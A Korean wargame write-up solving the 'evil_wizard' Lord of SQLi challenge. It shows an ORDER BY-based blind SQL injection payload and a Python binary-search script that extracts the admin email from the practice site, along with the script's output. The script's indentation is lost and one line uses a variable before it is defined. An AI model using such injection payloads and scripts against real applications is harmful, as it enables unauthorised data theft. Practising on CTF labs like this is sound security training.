evil_wizard
23. hell_fire 문제와 유사하나 몇 가지 문자열 필터링이 추가되었다.
이번에는 SLEEP, BENCHMARK 함수 사용이 불가능하기 때문에 Time-based SQLi 는 할 수 없다.

이는, ORDER BY 절의 특성을 이용하면 쉽게 풀이가 가능하다.
ORDER BY {컬럼명} 에 따라서 테이블에 표시되는 admin, rubiya 계정의 순서가 상이해진다.

응답 값이 달라지므로, Blind SQLi (Reponse-based SQLi) 공격을 수행할 수 있다.
자동화 스크립트는 아래와 같이 작성하였다. admin, rubiya 문자열 중 어느 값이 더 먼저 오는지로 비교했다.
import requests
t_url = 'https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
r = requests.get(t_url + payload, cookies=cookie)
for i in range(1, 33):
low = 1
high = 2000
while low <= high:
mid = (low + high) // 2
payload = ( f"?order=IF((id=%27admin%27%20AND%20ORD(SUBSTR(email,{i},1))>{mid}),1,999)" )
r = requests.get(t_url + payload, cookies=cookie)
# 테이블에 admin 값이 먼저 오면,
if (r.text.find('admin') < r.text.find('rubiya')):
low = mid + 1
else:
high = mid - 1
if low > high:
print(f"low {low} / mid {mid} / high {high}")
decimal = high + 1 # 실제 문자코드 확정
password = password + chr(decimal)
numValue = numValue + str(decimal) + ' '
print(f"Extracted admins password : \n\t[+] {numValue}\n\t[+] {password}")
break
'''실행 결과
Extracted admins password :
[+] 97 97 115 117 112 51 114 95 115 101 99 117 114 101 95 101 109 97 105 108 64 101 109 97 105 49 46 99 111 109 1 1
[+] aasup3r_secure_email@emai1.com
''' 쨩아아아아안, 문제 풀이 성공이다.

🐛.. 🐛.. 🐛..